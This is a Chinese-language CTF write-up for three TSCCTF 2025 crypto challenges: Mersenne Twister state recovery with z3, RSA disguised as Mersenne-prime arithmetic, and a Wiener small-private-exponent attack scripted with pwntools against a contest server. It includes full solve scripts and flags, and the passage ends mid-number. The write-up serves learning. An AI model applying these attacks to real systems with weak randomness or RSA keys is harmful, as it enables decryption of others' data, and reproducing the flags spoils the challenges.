# TSCCTF 2025 Write up
這次打了第4名

## Crypto
### RandomShuffle
```python
import random
import os
flag = os.getenv("FLAG") or "FLAG{test_flag}"
def main():
random.seed(os.urandom(32))
Hint = b"".join(
[
(random.getrandbits(32) & 0x44417A9F).to_bytes(4, byteorder="big")
for i in range(2000)
]
)
Secret = random.randbytes(len(flag))
print(Secret.hex(), file=__import__("sys").stderr)
Encrypted = [(ord(x) ^ y) for x, y in zip(flag, Secret)]
random.shuffle(Encrypted)
print(f"Hint: {Hint.hex()}")
print(f"Encrypted flag: {bytes(Encrypted).hex()}")
if __name__ == "__main__":
main()
```
是一個 `MT19937` 的預測,就暴力的寫進去用 `z3` 算,出來後再去使用這個 `random` 物件,以下是 exploit:
```python
# from Crypto.Util.number import *
# hint = bytes.fromhex(hint)
# mask = 0x44417A9F
# ut = Untwister()
# print(len(hint))
# for i in range(0, len(hint), 4):
# rand = bytes_to_long(hint[i: i+4])
# s = ""
# for x in range(32):
# if mask & (1 << x) == 0:
# s = "?" + s
# elif (rand & (1 << x)) != 0:
# s = "1" + s
# else:
# s = "0" + s
# ut.submit(s)
# r = ut.get_random()
import random
from Crypto.Util.number import *
from random import Random
states = (3, (1039769592, 2799754065, 1917072332, 4245782059, 146856271, 1186022857, 3163093128, 1045550990, 2436680569, 2090543815, 4229685578, 1727202979, 343472297, 4259130527, 197610599, 3997148976, 2337614228, 4168172378, 3365222510, 2788682781, 3199781008, 3714183420, 2079193426, 3486036719, 4224366279, 1969440331, 1116945603, 3760773683, 2546025051, 815332908, 2833374074, 335127766, 2419693172, 1452693232, 3282898757, 3628366273, 2935390116, 519139564, 3357179210, 2746214169, 3670525428, 783968454, 582528344, 1582563858, 3798354331, 1026117498, 1541828539, 39059260, 3682965, 513446105, 4290512343, 505719412, 2140282217, 2708913446, 3397812111, 696611020, 2693046339, 2846681078, 3650683787, 640954414, 2175380530, 2909616554, 339774535, 3732523990, 187426606, 3165347780, 2814106481, 574784769, 995459671, 4251036085, 2325618667, 1205427856, 4031772015, 2432170070, 3004823785, 760188845, 1892121918, 516221708, 1842813475, 1298016553, 3018914966, 3545795999, 384781199, 810579310, 413789374, 1915732215, 2927504207, 2921903920, 636949924, 1628513072, 2791846240, 939826855, 1365520784, 1286430330, 3782534106, 2151164381, 983793491, 2000862591, 1321086451, 2859664832, 2319939508, 1612272972, 3501883704, 1012806504, 3900071222, 999805673, 3028894263, 56092169, 3409463573, 3339374252, 1635544229, 2606798607, 4117952905, 1637565646, 1653254687, 1576345514, 2986979011, 2237418484, 309191639, 3859157830, 3044058153, 3736873362, 397540238, 978695183, 1525227670, 913129856, 1290289773, 1622628440, 1835673376, 2583799328, 2374640925, 3357282271, 123686160, 3192258898, 2161179226, 983283627, 1036621094, 1221111575, 3396719790, 1204832251, 4194269727, 3730933490, 235909909, 1188573148, 1035958545, 2040959008, 2663666226, 1739443640, 538890269, 3802383614, 4223112703, 1654107081, 1525869356, 3264997327, 2257085137, 2470060214, 707772850, 277036727, 234802007, 616484790, 2010030617, 3860657967, 1209008438, 1548789400, 2983027441, 3732803369, 1908678987, 2341418655, 952970096, 689169971, 463054909, 1938594149, 2392948443, 3135189005, 446034272, 2289791735, 1514280172, 3758778873, 1964989383, 3537797291, 2843939142, 4025355602, 940603545, 2816702166, 3246362860, 4102831409, 2018514749, 1713386604, 3971944157, 4075411245, 2506143508, 3643705747, 2337935304, 2205844480, 1466753671, 1195781773, 1414243957, 2777651837, 665765052, 1295542590, 2054421158, 353464999, 537613533, 1093423291, 1649688811, 2243065496, 936762144, 1732533296, 507432145, 3769008912, 2563985305, 3854742706, 4009221436, 2333302632, 385408977, 2240901524, 182582452, 3638952715, 2106632269, 2925660851, 986526860, 433750074, 2872974093, 3522215770, 3054087326, 964855989, 229281524, 4230551593, 3970316393, 3946414745, 4193507019, 4082084173, 2013641426, 2237730310, 3008281286, 3937148730, 4225156333, 2512067653, 2133723551, 4129707513, 487934495, 1843729079, 4276225969, 608046988, 950444517, 3369634220, 749863572, 593783858, 2479589735, 464398031, 2530351181, 2119296899, 3774093627, 2959356184, 1387673757, 3267677303, 1701079746, 3833974883, 3567790855, 861417428, 3541278131, 3309894742, 701386732, 4263774791, 3852541723, 534163755, 2129161774, 3504961409, 4011958371, 3070865804, 2043563633, 1721676106, 1208384401, 2132375198, 3602150500, 494093877, 571132576, 1843570168, 2460138728, 2086654669, 3499569485, 4208644318, 11124701, 1299808098, 3231155384, 17800120, 1860766524, 3758900802, 1029643337, 4047879319, 2585597799, 3659628708, 1833440372, 19430485, 3573527015, 3361394790, 2321234196, 3712742237, 246640496, 122930935, 118807845, 3341761484, 2668642820, 711478488, 1277239893, 1266823411, 2417536698, 1291705874, 497683376, 646465412, 3966432724, 3015312683, 2424966957, 2414636319, 3278950801, 2522949625, 3755132775, 990376861, 1770121131, 2799174972, 1904044019, 1647971894, 1911363999, 4117619015, 4004463834, 1582346596, 3316840112, 184362127, 3815314827, 1347030279, 2627526619, 4009397349, 880321542, 4286417657, 1839152713, 2933995501, 35249993, 2825919174, 1251435942, 383175549, 4203089668, 404549131, 3557500419, 201935589, 3667849689, 1080332568, 4272148919, 1272286030, 3868475834, 1659770047, 3617850059, 2207296507, 876698196, 502221521, 3327701723, 1582482677, 2507518319, 3843944675, 3355888237, 408327364, 900843566, 3890860220, 1152555007, 3455499525, 1004381201, 1264880526, 1424239162, 181752957, 1045753464, 4082188844, 2607143456, 1855619866, 3033585435, 18914913, 3189587835, 1404110499, 738206138, 2827085545, 3994359002, 528639587, 640983725, 3348168073, 627155096, 2101363823, 494737634, 4015296424, 1753359415, 2533823080, 3803344055, 465882793, 859610997, 3273512899, 2938053469, 2647234162, 580960641, 2870197401, 2683468740, 2254893716, 3614461020, 4030531089, 2482480749, 730482927, 3639820606, 363636704, 785464293, 3643332256, 3676407910, 4211326091, 1628960916, 97778850, 604428354, 4252523216, 1630528097, 935858845, 1146438261, 2229458254, 3463646324, 1206206504, 779522620, 904313513, 4115567778, 3690254307, 3198113647, 2589600203, 2489839594, 4212447380, 2328643321, 4155052637, 75583138, 2712058100, 542876384, 2924897426, 341990064, 3510021027, 1450386657, 2555843062, 1892916402, 1488122613, 681736753, 1369749930, 1078227432, 1328729411, 3570156476, 1637800050, 4081322476, 4236138510, 214806300, 2907600109, 361611282, 1541119686, 4235269766, 3541778849, 1194641245, 2242114789, 4134178420, 801679836, 106752924, 417138391, 1086902849, 1439359266, 3854284981, 3080437019, 3654123927, 278430119, 1297889362, 659603756, 892197090, 99062054, 2804187039, 1557260816, 1830419084, 1190460800, 3149681583, 654544794, 1931876091, 2628512798, 3561068948, 1693646759, 2439036340, 4177288222, 685294157, 3131344499, 4153700188, 2571974032, 2517351676, 637091501, 2339999991, 3246079050, 2335492765, 2660918408, 3046669746, 104180854, 3313806298, 2486106802, 3391192589, 934176146, 3381650703, 3117510715, 3809197495, 736014561, 1413098255, 1902478734, 2013062269, 930111236, 1187957823, 4028359664, 2659848269, 1798406458, 179847074, 1762720821, 2547788409, 2718643123, 2039552320, 3207038919, 2019282578, 4221637285, 1914718982, 2643153804, 3336787756, 2150827834, 264867746, 3617567174, 4011794912, 2629807152, 1284037190, 2545440895, 3894587443, 3989849385, 69933900, 2266355647, 3026081235, 2007147360, 3972756249, 3988001285, 3834388100, 223347347, 1096137772, 1552925116, 4269357332, 280664749, 705952525, 3511144993, 1431263316, 1471735074, 2907887776, 1621285394, 502508902, 1882815033, 943185412, 3208843307, 2653236104, 4013347092, 1168775450, 3017986286, 4215073904, 2165589136, 2187402757, 3215288605, 1044102968, 3460208089, 2862265766, 953553866, 1803273140, 2055020187, 3021224838, 1949680534, 3051564035, 2890308492, 2187279383, 251171428, 3213065706, 4067199980, 3798871887, 3713260068, 2673927903, 1359086921, 3396146612, 3701940392, 1687753133, 2278272117, 2556046682, 1578223403, 1892711304, 2490358085, 1886765455, 1263842840, 1113746124, 2982923739, 3367308330, 4010030658, 328976549, 608211400, 3174960171, 1879199365, 1011916938, 17956329, 4177994907, 1167265804, 4108503294, 2395127334, 2084555680, 1177160808, 1380452161, 3129015507, 1311950681, 1567408153, 3925074806, 3509716878, 3225701059, 216460375, 2917268425, 2615833799, 1577998073, 4139446069, 2961293405, 1857765824, 1518500023, 2299388208, 3331793996, 932613466, 4019485778, 3124422597, 3622109502, 3238966328, 128), None)
r = Random()
r.setstate(states)
ciphertext = "47cab997578fe829ae6e0b9496728b544befd8109798d92266ca12d528c742f2c2"
ciphertext = bytes.fromhex(ciphertext)
# for i in range(2000):
# r.getrandbits(32)
Secret = r.randbytes(len(ciphertext))
print(Secret)
yee = [i for i in range(len(ciphertext))]
r.shuffle(yee)
print(yee)
flag = ""
print(len(ciphertext))
for i in range(len(ciphertext)):
flag += chr(ciphertext[yee.index(i)])
flag = bytes((ord(x) ^ y) for x, y in zip(flag, Secret))
print(flag)
# TSC{H0w_c4n_y0u_8r54k_my_5huff15}
```
最上面 call 的那些函式來自於 `https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py`,太長了沒放進來
### RandomStrangeAlgorithm
```python
import secrets
import os
from Crypto.Util.number import bytes_to_long, isPrime
def genPrime():
while True:
x = secrets.randbelow(1000000)
if isPrime(2**x - 1):
return x
p = genPrime()
q = genPrime()
M = (1 << p + q) - 1
flag = os.getenv("FLAG") or "FLAG{test_flag}"
flag = bytes_to_long(flag.encode())
e = 65537
def weird(x, e, p, q, M):
res = 1
strange = lambda x, y: x + (y << p) + (y << q) - y
for b in reversed(bin(e)[2:]):
if b == "1":
res = res * x
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
x = x * x
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
return res
ct = weird(flag, e, p, q, M)
print(f"Cipher: {hex(ct)}")
```
這題乍看下有點奇怪,仔細想了之後會發現它其實是一個有模數的指數運算。從 a * 2^(p+q) + b 變成 b + a * (2^p + 2^q - 1) 會發現,他實際上是做了 2^(p+q) - 2^p - 2^q + 1 = 0,也就是 mod n
然後 p, q 限定在梅森質數,很簡單的能從 bit 數去推斷他們是 21701, 23209
於是剩下就是一般的 rsa 解密 (大數的部分就用 `exgcd` 和他給的函式解決)
```python
from Crypto.Util.number import *
e = 65537
# for x in range(1000000):
# if isPrime(2**x - 1):
# print(x)
p = 21701
q = 23209
ct = 0x27225c567dfd854ba84614f9e8266db9f326af279aa18afbdb1f601a097ddbf5a203c836d4d0430c59f6d6be6ccfe7f4deca9a4011bc514d92e1aaa1c792cd24127a24b205a2c0a28af24edee1692d04a23aa8653581fe8e3c922878aaeb1c1f495cf08c129bae8ec039d1dc8c39564bdfdcefee42c42f5843c63aeff373613cc133076356241a9b06e45c367b84083e0edf21608f08f5d50563502438746355c1fe7c2f5a470b6857aabc04cc1f6b136e1f79bc2c41419b13ff845d485d380e2b110c2bd2e873e2c07d75d3e9cf1cd6b5634c67e98f11fe7a269e10af713dbb4f587443a630fe1dea2f406793213ce117828b0572dc4d3f06dcce3722bef0d0e8c2aced34d353e9ffe3d0f75a3e0ac195e73888d601c4dde936a573c28aaf6750ea0ad53fdc715c4df547279fdaeb68251ba4bb68f4aa7c0b49241e3e6fc58daae1c4dceb7ba0ef06d3fdec2bfa432ea1a5299d3dd104dd05b10be33303a5fea87cb6fc5d2f0e7daafe1b8f5c50066da68318b510bfd93e2abbadfc86b258bd82f2f53396abfc92a2f71dfd88bfd23b31013844d744d9788bbeb3cb425acfad0f6e868ed84a3152f82cbfc2f8386f059091cab29b9e64cbcc7d9ae672d1801b2dd4521253cffc4a21d476d00c8ac08495118df4ebff044f99e0ee8a56bcb43b3975d7794ff022850031fc0ab7a0b7cc1fe9894a739a7928eb7736910c748548ded36772dc2c6e81fd863af09473ec9e74b12bdddc9141bf46d226c67ce8efc9b02bc7ca3f067336032a7fafe93430fc2006cef8745864868430bcedee25244ba05621e7c2a72cdf524455f650766bc42d15662948ea9d5176c0796a0651a8faeff0ff276c7f65fc1784adeffc03899469192b691db929666509541cc770c487eef20195e704ff63bf1a6c18f20a0a19599cc54113223de37860c2cffbdfb7357da87b28f7bf8b416071196c354331138eb47aa11910c9756c5affa80b97111dddb6d147fe0c30bbfa2ee86cbb36129eef5e543f150023070cf650151e38bbee3a05963ff1cf26a2d42731b6c4487bad5e67eda74b3e9110f4e7df74e5e2819ef80b7f70b33ac3060ca18176e9f48e95d333c4fe5c2ae355a9661de75494fda5ef2d93d4404cf906969fe3ba7f589b263e61cc538986206cdd4177b7898ff5a016c2baccb5d00d78fdc462beaf989bfedbbc70ccaf85489cd1352ff32d0e213bb9cb23e7840eccd020e34ba441a40df86ea128e9f0215b32ab90dd9756afe87f40758676fff71c517895cd3b0f6f35a6f675634dfb1994945105b0276e9b0bbaf15d49824ad20c9865a4608ab0ea3093a32b7e40131010e25f9a939620a6ea43000fb2cd0a75eefd1e01da402f11bde242cb794c135a94db04123b2f874b9eda525f9c1932250084b4b4f096595d4f829691df2908ec625a16695e111083dd4d13665bc8baedaf159100b5c3bb6b9d2450471f5006a99165745c825c4a44b1c1de75a7fa23fca0183d59c3150c8aa6bd787aafcb40d17b053ef8ff7dd9fd1c03e9a60e2d0418bec88773fdd9ff3917f584496cebedaca5ab6c674c7a294bebba764b681c333559acf97bef89290a66cf7249cac824cc43558cf777fe1283d134159747e174a2c6c65a8f4c1ec6ae656465ee52ddab9d56e0b30bf29157ef86b72c3fb836a10df8f0c98fb2cbd7debecb98172eab7475491b7b6aa8fcf1d89f1275bbe5226897d42ea5913d8634ac1a2a5a8211ae3a0627ff53f423dc789e2323a2ef0f9b90f47370a8ef86664dfdb08ae01e3a2c3ea68a5b12cc197207b5c6df451d6e109ac00082b4be5295819b3341429b32653b2cd2d5547dfcb4970c3caa687a1ec2bf50d4db5b2cc2967fb7b3fb47eaa84094b6a73b29162baddd07f045de495006f714b9538bfafab29ba9705b8d5ccb3458ebaaf87078e8b16bb2390b0cedc3a65a08122d6834758d8053e519b479a4b4818fd3d6f9dd52e9e7f1ece3237f58d07399d44692c08e2c50c8632a40592a148492a0c475cb33579b48b6fbe5441fde23ed89b0686f69cced80bed326cda230de3a1c8777422038662cd052bf7f8bd021b8e4f885941957bcfc32d3c9da028068c30c5b19c3cffa9a1a044cd23d01cab79c149e3ac0d77ce6694a41cd0b404be056ad35cc31cf4051d6d855e73ddc4c0aeef5c6075af182e3f05503f73ea25874f430d3a13ee2b291be56a510aa8a6505868c7467f1a43a0b84817c841f1ff7a8af8872cc977f55f7add6d8411fa35f93edd13a9eabb688762e74be5a98e02806248f8be03c72ff4d1074f06ef2e77b9159b6db5db8158212d614c8a024ff51871fd152f53b1998dddd07f65eaeea5f3ab6bbc33dce92179a4e140d7ebf0b06c412ee8b2636d90dd003721bd54c0d20bc5b071cce0a970625a28b0bf4aaf09c57fdb40bdeae24e3e20c5d0bfa0ab64fc627c6c633f93252460b8d8edcbfd6fd43a45dd1e3adc11733232686358dca0db03b23df9bde2d359695ab3e6af5ebe881c25ae5bc2be2a392551bc0f9a9c50e4b9306631f668c95479a11d267984e3cd407701d4d9b7c077804663b6b68e10030915023da5414df1905ce1e4b0ba7c4f677bcbdc89e778e7927ff4aa2a7699cc7447f433e4ba4072627f5e955735e6650cade1676410b2001cccd2d4146e0ee0671dbee364d34c4224d886e8704062c96e56f6e1e463f2f60a6267ee7e45d387b705beb765ee62898a52e6d9190f9079a2cc2c823c6a97a38750337fcb9c3b682ea60e0250c8f733ae1cd11de95a219cabe9db8e27db6ffc1af616ed7b8f27e8e748c5620291a9a850f24057fc1e0dbe6b6db49257c1c57cebed13ace5196af892ccc2b09b76f54048390bd5d06387ebddaefb2dca8b94c9d663cf2a6f4480c14f932c08667be1b7210181c4c8df0f1cea710cdb567fb2b1e126141bd1616436044f8722f81f7fe45ac67386ed806c471b782b6c288334b896803779e4b50a7280fec70e84c39303764b30f8d98d178968eae949192e1cdbbd378b186211cfd15d6e68cf9a85ea3873451d3f26ffce9d2f76e23cfca012687e17c78e214f22163f2a0b94ac7b3067b232ee7d6ab57e6991b668ad84d6602b5838a15566b5a407eea66ebd106a2fb67a367753e0bab7ffdc234a00c8ab0540f38379daa09f47c22cd3c96f2d3a13d17ddf2970aaec4f65029896fa549ba832f8bebebd2c00d895a568be4b8d093089fb0f5e9f9a4d37a7ed5ace03268b236d33ae36b8168633de6178de56a1053df6a9b1d902df020ecaed6612aba8dd03dee1ea0a00467f9dcb98cfbc742e352d6315dc479216f08765b7341a085ac313c2b8856d22cd822ba6fd1a62519ae1cfec489e678e0440a1aeacbcb917aed893c0255618569ba9c03e627d0ce7ecd33ce64e26b9ff4ed9fc3f6f87dc105f4962373d86f155b64273b4a14cad88bc07265b78ba3b8e87b7b5dde2d39349658a295295c253495004a9a6c7d8ec46414f6c74bff4179784ad19dac1f5897bb56c1716f7cc238024d1243399329843cc8cbc1ec15dc69f089c43f3c6545cd35d1d176c3bbc5c6ea5475fcc9b7411d96febbb4fef67124897a4ab311ec2f32ae590065f3e4f76b716479d9506e6a03a151ba6258e31eda4feee96d3e255c74c874e197de71156ad5b1df35ce20a60033714689bd409b1b35aafa3b3cda73d7524321c7562f7dad33e22cc9ea6cea4d3933a9ef1924ff0add9a441647bbeaa8a13e680281956abba2231ad39778c3bb92cea57b93ec063b676fc8d0ce898a1856449c1b1b16d7973ba40c5aa52edb1dc7e2332fcf61217cd02e31b0c5c787089771acb3e8c2b7715911e09cd9183e803d80c9873074026c3e4ecfe11600b2e507e159a56e0394f1b42618aaf7363523a4c8b53c497fecdc65d167bdb2c4f79ee393387e364954debe37f1a933b964af9ac3e3227a77a167f3491e61eb43a67bb7a13c6b113ebeb0784dd5e70422ca27eebc2e703fc2c7996375c9b4d4f3aa44b6ab4f8e08f6cc8263e0229a12582f2c2301d1650d2a2f1146f87a59a34178b54a58fd46ca725267bb2f4a19fbac7b53b6f6aa1d70bb46674b5879d6ed81f40f01c62634d1ba6dee627d75e4f1333e2805e00f142860193e278ec1d676cc25c3ae91237ab9209b26a304b2e65b7bb6a68fbc300d8114f14adafe8cff69d554de4d8ba4e321f94b3d90bf9feeeeadd1bbdffde39c7036c70ffc340b0f9f8d819e925ecac8feca4a6c4aa9918477e742a0d104c0972ef02082fa9365d49654b29306c131d36eccb0e393f186553e08217f69a6191b1d4017ab431e45cbb8a4511e4cd6fa183c6f7e5612bfe8c3ae2b10e97c530ae172ebcb201585b05c1aedbed2daea99026596486063b620db4a75a72ece20683abb3e53d2a067785e8fa396d0f02233bd8221d1e7620af36a5e9c98d4e3f4eaef09794dde1ecea87dd531f276da98a3112665ced8610937f1b8d6cf0dde32de980fe1ee43bf856f3fc8b34035f5345d80b2c123a4ea7b24da20a065a08e9be1b5808b18727b689cd376d620d28566e9d7f7507e1b7705bd0fccd631891f297ff44990c2b1c697e9582531025e7556824e89db58672e0bf91fe7aad4e5d6d733cace0d92a5089fff9c6e7a4a56c857934143e6296950a0dc3e3a4cfcb479c4c2f18d52d1a67aa260f421a5f657b371faffada38099edbf07b7799e2424ae24a9ad2b76bb5e75453b5b3c4270f0be1448d3fda6660d77ec8e569d6c21f532d8871b9e5d60ac6a1b80b688c6efe12678e8cedd7b3ef19658ccf13f554c92fbd37d3773e57d8fd79c9f21783495a9d534efdd8f99a6d27ea40d76d032bc8f999ece9a55f292fb80111d526d1a0a8b33f4e35ea820cd4dfc8a526ead8baad66f5b2d86404de48d97a8a4d6b7f50eccc1350a60a23a4f3d479473ed1825f373b78003080af07f99ac6ead34124a5d43cef23c2e548779993c73c7cd5e89624dfa3952251b8e86eb9d4bce88244c60b0b0765379054f532fddff5e6a4da75d38ab7f67f8bede89c812259f948e4371d82e2b838e62250475e7986e97ad9706d84a57560934d9cd566cc5fba0f4f7037554ad926e68f178323881f33aba7a6811a03f3f507b6494428f3428927bd120b73298b2f5cad421985b0af070b9fae7037ea3cef1885d3846ba8cd09cd9f43070096a249796bcdd21ca55c76816ead0692e0587d96f831f343dde19117083509e0d4f5b296674dcc0e17b669f7c2ab4b0a609d6cbed8073d1aec3ef2cee0aad9c055d54ac11d58c01ab27956b3bbd667f5bb52dc96b647fc9ee2dc47ae8e5bab66d1bbf66d21926e063a90d7438e501113e78e9506c20c0dcc517189d5f54a6b4d53bff8173adbb3c2c4017e440f05517fa56c424d03b2e8dd81537a714cb53c3ec1c8237344d3ce8a0e8f81cb5693908f0cf63001cb0f2218a53b9be92f4c1aed51ba9a224523ae765a71ad3ba687594496ec72887a8f3a6f6338fab6c14ed6c139d687f5de68f99a2b4b425774abe7ad24995d775b8ac11efbc6ef0b38f6377c969ed6e63919f510c5444347155903c72be2f82de608b3abaec12a084c7a3cf06b6be7bef4478c723b90c5b652b1a87b206a2f1405a89471a4b9a073f3204a158e20a5e3dc6c4f433360927dce3b58ca65b3c42d18bf860a977ffc469cca122c8dfd338cdaffa4d796e4ee0314f581b0683763d6b9c0cf6498fad28fd4506258023553ef4d66f7e389014ca9a0e38627910a816cd51c95ff5a269080cc08ff96fd035efd2a0c192d58e09bc3d864c165c90da82bd2e61617132b9f62861c176d11a56d335589c534cdfc7312de0da2b845a863e35293eb60341328df60fcb9927115e7f24e6fe0a2bef5bbbaf560b13d58c93a3878bc99d44b5e748692b231ad3c84187776e29905979a7470424b1df92ea82374efad63da2a1c41aaf4c1e446416eaac450f659ce12012d7a22f3c8d97848356ded7504b448a9595683f2be12fd23c4fbdaaded9a3207031077272f64428e9e202d03a2083c7e68807ac9eda25130deb4347a8c2ae36a211a8324218da4276c1b5566b0bb7bd70ccfb580bce3ee108915bc1b21ad49de03875bd0346752e8a1c6788fd829a74abf7b01a3329f9bd7a2535c312f5a48b20623646e1078b6d4f5df9c0cc0bc06d41deb208b31cbe4b49e8dcf697bc7439d00a0c87bb64be44115b440d6b0fcf38e024bc332290b4ca33d1fa097799cae6cbf297b68a87ff8ba687ef4a5dbb25e02e7f95ea2bfb34db25ccb38df96f1bb32372ff00e5f3d78c0ce5a1bde27d2af89bb11efdf4b1b11feaf8c36b3373c0867b3fecbe58150a88758873ae4ecd3df4da6549732245da3cebd152a3dbef070aacd7f0c760fc797c253f9375edee15ec7f783059818df5ec0632c10e50f8dce4fbd4ddcff61c9601a88925db83dfe1b6a4bbdf76506828a1ece4ee99c1e356b686b880aaaf1f789d0b8e1a5ef69b7c12d57161bbab80219d270ab65ce6b1d29bcc24a6bedc18ac73783a2271560ec5193b20979c2168a0da1da6a30d9f7190973ac11906de52f80db4d40b5a86c1084ad17115718b7c9327dcd1aaf266df16f0f232ed926b2d7f139c37ad527a01ef38bcb3dfae204ebafda14ecac741ef1769c2f02189c2c474cb3b9f79884a767baad126a5a14c99e2fc6a1f1c0d3c1598f5670ce19aa0d01c6a7302d4e66d28315139f9b20f474ae1a39b93bb18a479733db8bf9dd737f8a09d4146ad89850342445eee2ca3141a672047814e42b7b9bd7798d6d8d82adba9d696dce955e61815520618a1ec70a9264acd244a5d8f5170f3a0ece58351737c31a617d3e646916e503cd7b20c6decafe3a8532f6bde5e89b7b8314a73dcf9c75090331d7f56820637c2d9ace9a75d8cef4a5f45049a8d17ecddd1c1e7f2683588cf834e82044e38e571ef786c9b1ff1ab9dd40644784f2820a42a9c1ecbe155d54557bd34c2c8245fe9f6187fa97c46929dffcf2b0d49679a51a2cd069879174b7d1556c83e2aaecf0e9a7fa52af3b3f0d6dbe95474da464c065db054521f17e0cf676060acb4c64fb7f9d42ad518a27ebcbdeb9e1183ac02c182e19fe98948be6ca6b44b8936294234c0c795bebf6726bb9f6d71029b7226a7f2d920d7c6d5bad845dbd7126be045ff9f2553f617591e0aad0979e2194b4ca5d0624cbe141c4a3e36d218f58ad3675412d29917ea1e91ee05b7a52267534b2386ecfa2f9634214ae42511dadd68f75422fd87d99309f38ecb97ece0ea084d5f11c15b6059a5c161881bf421a143a8e400bb41b9c42af3943cc3308523717d2684e605c19f4f61b02b1d437f8ea2ff31c478b820c503a847c07ec5a11f84ebddb13976db04fef81ad11c1917ac48ba5dfec46f7e5ccd1743b56d837acbe81dd60fdd8e65e6d7bffa03aeb6b4c5af715dcbe48dfa54f5802627f05736521096b6755103aac95d1dbe803eb15e200180e557d5238e9a5d06a2f9d1573bc4d302739050c2da989309fa060bf31f233d118fe4673491af97c6504774db6b08d5772f718460f99b2b2fcd0b455ca4d119a42a982d22e1d0931736d26740b8bd0930d0b673300b8d602fa230ebbb56a599aaf341382072d843fb8850ba41b18ce628687388f32e896fbb01387ded3099aa1f567093f69dcd08d5822ed345453efab20c3a5ba059c19fd3c8c660776ca1ab858433e83ddd6fccca3df9ee20d1634b60a284f7497bd40f58eb2f58ffb4530cc3ad9024132ca7f45f69426f1e1cba8b8a811cf8971c94352ee445d1e37e4157b406864de23e44c2698e6be5737bc4e8dafa303e8c4b6b800fbed343b9a8867633040c0ab8c80e5ab12e22966e4125e760dfcd34d217a4703d6743d24ce97469b120d57cb3e9b19100f90dd794ccb9ee86feec5a48b08de98799d99f9e
from tqdm import tqdm
def weird(x, e, p, q, M):
res = 1
strange = lambda x, y: x + (y << p) + (y << q) - y
cnt = 0
for b in reversed(bin(e)[2:]):
if(cnt % 1000 == 0):
print(cnt)
cnt += 1
if b == "1":
res = res * x
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
x = x * x
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
return res
def weird2(x, phi, p, q, M):
res = 1
strange = lambda x, y: x + (y << p + 1) + (y << q + 1) - (y << 2)
for b in reversed(bin(phi)[2:]):
if b == "1":
res = res * x
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
x = x * x
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
return res
def exgcd(a, b):
if b == 0:
return 1, 0, a
y, x, d = exgcd(b, a % b)
y -= x * (a // b)
return x, y, d
def inv(a, n):
x, y, d = exgcd(a, n)
return x % n
M = M = (1 << p + q) - 1
# m = weird(ct, d, p, q, M)
# m =
phi = (1 << p + q) - 2 * ((1 << p) + (1 << q)) + 4
d = inv(e, phi)
print(d.bit_length())
m = weird(ct, d, p, q, M) % (((1 << p) - 1) * ((1 << q) - 1))
print(m)
print(long_to_bytes(m))
# TSC{9y7hOn_p0vv3r_ls_700_5Io0o0o0o0o0o0o0o0o0o0w}
```
### Random Strangeeeeee Algorithm
```python
import os
import random
import sys
from Crypto.Util.number import getRandomNBitInteger, bytes_to_long
from gmpy2 import is_prime
from secret import FLAG
def get_prime(nbits: int):
if nbits < 2:
raise ValueError("'nbits' must be larger than 1.")
while True:
num = getRandomNBitInteger(nbits) | 1
if is_prime(num):
return num
def pad(msg: bytes, nbytes: int):
if nbytes < (len(msg) + 1):
raise ValueError("'nbytes' must be larger than 'len(msg) + 1'.")
return msg + b'\0' + os.urandom(nbytes - len(msg) - 1)
def main():
for cnt in range(4096):
nbits_0 = 1000 + random.randint(1, 256)
nbits_1 = 612 + random.randint(1, 256)
p, q, r = get_prime(nbits_0), get_prime(nbits_0), get_prime(nbits_0)
n = p * q * r
d = get_prime(nbits_1)
e = pow(d, -1, (p - 1) * (q - 1) * (r - 1))
m = bytes_to_long(pad(FLAG, (n.bit_length() - 1) // 8))
c = pow(m, e, n)
print(f'{n, e = }')
print(f'{c = }')
msg = input('Do you want to refresh [Y/N] > ')
if msg != 'Y':
break
if __name__ == '__main__':
try:
main()
except Exception:
sys.exit()
except KeyboardInterrupt:
sys.exit()
```
他會一直 random 出 p, q, r, d,用 rsa 加密東西。可以發現,$d<\frac{1}{3}N^{\frac{1}{4}}$ 是不難達到的,把 random 出來的 n 的 bit 數太小的刪掉就好,另外 wiener 裡檢查 phi 是否合法的函式改成指數的暴力比對,雖然效率上比較差但還在合理範圍內:
```python
import owiener
from pwn import *
from typing import *
r = remote("172.31.2.2", 36901)
def attack(e: int, n: int) -> Optional[int]:
f_ = owiener.rational_to_contfrac(e, n)
for k, dg in owiener.convergents_from_contfrac(f_):
print(k.bit_length())
edg = e * dg
phi = edg // k
if edg - phi * k == 0:
continue
d = dg // (edg - phi * k)
if e * d % phi != 1:
continue
if pow(2, e * d, n) == 2 and pow(3, e * d, n) == 3:
return d
# x = n - phi + 1
# if x % 2 == 0 and owiener.is_perfect_square((x // 2) ** 2 - n):
# g = edg - phi * k
# return dg // g
return None
while True:
r.recvuntil(b" = ")
n, e = tuple(map(int, r.recvline().decode().strip("()\n").split(", ")))
r.recvuntil(b" = ")
c = int(r.recvline().strip().decode())
if n.bit_length() <= 1200:
r.sendlineafter(b"> ", "Y")
print("fail")
continue
d = attack(e, n)
if d == None:
print("yee")
r.sendlineafter(b"> ", "Y")
continue
print(f"{n=}")
print(f"{c=}")
print(f"{d=}")
print(f"{e=}")
break
r.sendlineafter(b"> ", "Y")
# from Crypto.Util.number import *
# n=142559311111344346436802705480776637887038653716128102666274870271439980102189833279884373999646583539861283433585758603564782830885227826266402937269219057486176732012435035658805603348023612221314338737606943406443413171288454837862323483032514478155868056579360241046692718763017556890773227270997135694908934242720254540980745143543438347714144033554237254088727945057183003317409138532781815312089710700676635600888668573152951910667060313602388737915608855531025884929119256044553584477668529173900664233473803899570649271070025012549829736272234069946076124398984445703434873668017466208463800887514719912091030332289023819308223918719132878983831418356174789954278776315669676861352384831685375633173203328528943902419591287263318229374744117409200143811241131812391554869935645352523332507778477758230274513022915862309165610177463447838011934904181989440515665343953242053812047101041732037107407277102136172560857620836297184298521555867614719929417930724056026936741957398941997137897688681478254476289046869576154941093453126859261976431858835966045361570928196938141526290183139835082775025080762784600050062537011763511
